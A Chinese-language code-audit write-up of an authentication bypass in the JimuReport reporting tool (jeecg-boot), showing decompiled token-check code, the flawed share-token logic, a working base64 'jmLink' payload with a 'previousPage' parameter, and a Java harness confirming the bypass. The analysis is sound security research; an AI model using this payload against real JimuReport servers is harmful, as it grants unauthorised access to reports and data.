jeecg-boot框架RCE0day代码审计

环境搭建

https://github.com/jeecgboot/JimuReport/tree/master/jimureport-example

refer:

https://github.com/jeecgboot/JimuReport/issues/2848

https://github.com/jeecgboot/JimuReport/issues/2865

漏洞复现

Jimureport权限绕过漏洞

权限绕过漏洞的关键部分(处理token)

org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor#preHandle

image-20240812194741002

preHandle代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (!(handler instanceof HandlerMethod)) {
return true;
} else {
String var4 = d.i(request.getRequestURI().substring(request.getContextPath().length()));
log.debug("JimuReportInterceptor check requestPath = " + var4);
int var5 = 500;
if (n.a(var4)) {
log.error("请注意,请求地址有xss攻击风险!" + var4);
this.backError(response, "请求地址有xss攻击风险!", var5);
return false;
} else {
String var6 = this.jmBaseConfig.getCustomPrePath();
log.debug("customPrePath: {}", var6);
if (j.d(var6) && !var6.startsWith("/")) {
var6 = "/" + var6;
}

request.setAttribute("customPrePath", var6);
HandlerMethod var7 = (HandlerMethod)handler;
Method var8 = var7.getMethod();
if (var4.contains("/jmreport/shareView/")) {
return true;
} else {
JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class);
if (j.d(var9)) {
return true;
} else {
boolean var10 = false;

try {
var10 = this.verifyToken(request);
} catch (Exception var14) {
}

if (!var10) {
if (this.jimuReportShareService.isSharingEffective(var4, request)) {
return true;
} else {
String var16 = request.getParameter("previousPage");
if (j.d(var16)) {
if (this.jimuReportShareService.isShareingToken(var4, request)) {
return true;
} else {
log.error("分享链接失效或分享token不匹配(" + request.getMethod() + "):" + var4);
this.backError(response, "分享链接失效或分享token不匹配,禁止钻取!", var5);
return false;
}
} else {
log.error("Token校验失败!请求无权限(" + request.getMethod() + "):" + var4);
this.backError(response, "Token校验失败,无权限访问!", var5);
return false;
}
}
} else {
b var15 = (b)var8.getAnnotation(b.class);
if (var15 != null) {
String[] var11 = var15.a();
String[] var12 = this.jimuTokenClient.getRoles(request);
if (var12 == null || var12.length == 0) {
log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4);
if ("/jmreport/loadTableData".equals(var4)) {
var5 = GEN_TEST_DATA_CODE;
}

this.backError(response, NO_PERMISSION_PROMPT_MSG, var5);
return false;
}

boolean var13 = Arrays.stream(var12).anyMatch((code) -> {
return j.a(code, var11);
});
if (!var13) {
log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4);
if ("/jmreport/loadTableData".equals(var4)) {
var5 = GEN_TEST_DATA_CODE;
}

this.backError(response, NO_PERMISSION_PROMPT_MSG, var5);
return false;
}
}

return true;
}
}
}
}
}
}

可以从代码中看到在最下面是进行token校验的方法

image-20240812195111322

image-20240812195149895

如果可以在校验token前return true则会绕过token校验完成权限绕过

追踪代码定位到漏洞关键点:

image-20240812195402867

首先需要携带previousPage参数,参数任意,之后追踪isShareingToken方法(省略部分方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public boolean isShareingToken(String requestPath, HttpServletRequest request) {
String var3 = request.getHeader("JmReport-Share-Token");
String var4 = "";
if (j.c(var3)) {
var3 = request.getParameter("shareToken");
}

String var5 = request.getParameter("jmLink");
if (j.d(var5)) {
try {
byte[] var6 = Base64Utils.decodeFromString(var5);
String var7 = new String(var6);
String[] var8 = var7.split("\\|\\|");
if (ArrayUtils.isNotEmpty(var8) && var8.length == 2) {
var3 = var8[0];
var4 = var8[1];
}
} catch (IllegalArgumentException var9) {
a.error("解密失败:" + var9.getMessage());
a.error(var9.getMessage(), var9);
return false;
}
}

if (j.c(var3)) {
return false;
} else {
JimuReportShare var10 = this.jimuReportShareDao.getShareByShareToken(var3);
if (var10 != null) {
var10 = this.compareToDate(var10);
if (!"0".equals(var10.getStatus())) {
return false;
}
}


return true;
}
}

主要逻辑获取jmLink参数=>base64解码=>||分割 var3=[0] =>判断c(var3)=>getShareByShareToken(var3)?失败:成功

#getShareByShareToken如果数据库查不到就成功返回true

image-20240812210136696

根据这段代码的逻辑,写出简化逻辑绕过测试方法,YWFhfHxkZGM=作为payload (base64:aaa||ddc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package com.jeecg.modules.test;

import org.apache.commons.lang3.ArrayUtils;
import org.jeecg.modules.jmreport.desreport.dao.JimuReportShareDao;
import org.jeecg.modules.jmreport.desreport.entity.JimuReportShare;
import org.jeecg.modules.jmreport.desreport.service.IJimuReportShareService;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.mongo.MongoAutoConfiguration;
import org.springframework.context.ConfigurableApplicationContext;
import org.springframework.util.Base64Utils;
import org.jeecg.modules.jmreport.common.util.j;

@SpringBootApplication(scanBasePackages = {"org.jeecg", "com.jeecg"})
@EnableAutoConfiguration(exclude = {MongoAutoConfiguration.class})
public class test1 {


public static String d(String var0) {
byte var1 = 3;
if (var0.length() < var1) {
return var0.toLowerCase();
} else {
StringBuilder var2 = new StringBuilder(var0);
int var3 = 0;

for(int var4 = 2; var4 < var0.length(); ++var4) {
if (Character.isUpperCase(var0.charAt(var4))) {
var2.insert(var4 + var3, "_");
++var3;
}
}

return var2.toString().toLowerCase();
}
}

public static void main(String[] args) {



ConfigurableApplicationContext context = SpringApplication.run(test1.class, args);

IJimuReportShareService irss = context.getBean(IJimuReportShareService.class);

JimuReportShareDao jimuReportShareDao = context.getBean(JimuReportShareDao.class);


Object var3 = null;
Object var4 = null;
Object var5 = "YWFhfHxkZGM=";



boolean d = j.d(var5);
System.out.println("d:" + d);

if (d){
byte[] var6 = Base64Utils.decodeFromString((String)var5);
String var7 = new String(var6);
String[] var8 = var7.split("\\|\\|");
if (ArrayUtils.isNotEmpty(var8) && var8.length == 2) {
var3 = var8[0];
var4 = var8[1];
}
}


System.out.println(var3);
System.out.println(var4);



boolean c = j.c(var3);

System.out.println("c:" + c);


if (c) {
System.out.println("失败1");
}else {
JimuReportShare var10 = jimuReportShareDao.getShareByShareToken((String)var3);


System.out.println(var10);

if (var10 != null) {
var10 = irss.compareToDate(var10);
if (!"0".equals(var10.getStatus())) {
System.out.println("失败2");
}else {
System.out.println("成功1");
}
}
else {
System.out.println("成功2");
}
}

}
}

运行显示结果,成功绕过

image-20240812205712312

__END__